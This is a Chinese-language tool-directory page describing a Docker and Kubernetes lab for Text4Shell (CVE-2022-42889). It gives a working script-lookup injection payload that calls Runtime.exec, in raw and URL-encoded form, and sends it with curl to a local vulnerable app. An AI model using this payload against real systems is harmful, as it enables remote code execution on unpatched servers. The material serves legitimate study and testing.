Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/devenes/text4shell-cve-2022-42889
Container SecurityVulnerability AnalysisWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdevenes/text4shell-cve-2022-42889

text4shell-cve-2022-42889

Kubernetes Lab for CVE-2022-42889

查看仓库
213年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Text4Shell CVE-2022-42889

针对CVE-2022-42889的Docker实验环境

你可以选择在本地构建Docker镜像,或从Docker Hub拉取镜像并运行容器。

克隆仓库

root@kitploit:~
git clone https://github.com/devenes/text4shell-cve-2022-42889.git

在本地构建Docker镜像

root@kitploit:~
docker build --tag=text4shell .

运行Docker容器

root@kitploit:~
docker run -d --rm -p 8080:8080 text4shell

或者从Docker Hub拉取镜像并运行容器

root@kitploit:~
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

通过向search参数传递字符串来测试应用:

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>
  • 攻击可以通过传递字符串${prefix:name}来执行,其中prefix是前述的lookup(即脚本、dns、url前缀):
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

使用curl进行攻击:

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
  • 你也可以尝试使用dns或url前缀

获取容器ID

root@kitploit:~
docker container ls

进入容器

root@kitploit:~
docker exec -it <container_id> bash

检查RCE攻击是否成功

  • 你应该会在/tmp目录下看到创建的文件foo:
root@kitploit:~
ls /tmp/

你可以通过运行以下命令停止容器

root@kitploit:~
docker container stop <container_id>

针对CVE-2022-42889的Kubernetes实验环境

切换到kubernetes目录,并按照README.md文件中的说明操作。

root@kitploit:~
cd kubernetes

创建kind集群

root@kitploit:~
kind create cluster --config kind-config.yaml

将易受攻击的应用部署到集群中

root@kitploit:~
kubectl apply -f deployment.yaml

创建服务以暴露应用

root@kitploit:~
kubectl apply -f service.yaml

使用curl攻击易受攻击的应用

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

使用kubectl get pods获取Pod名称

root@kitploit:~
kubectl get pods

使用kubectl exec进入Pod

root@kitploit:~
kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

检查攻击是否成功

root@kitploit:~
ls /tmp/ | grep foo

你可以在我的Udemy课程中找到详细教程


参考资料:

  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
  • https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
  • https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd
下载工具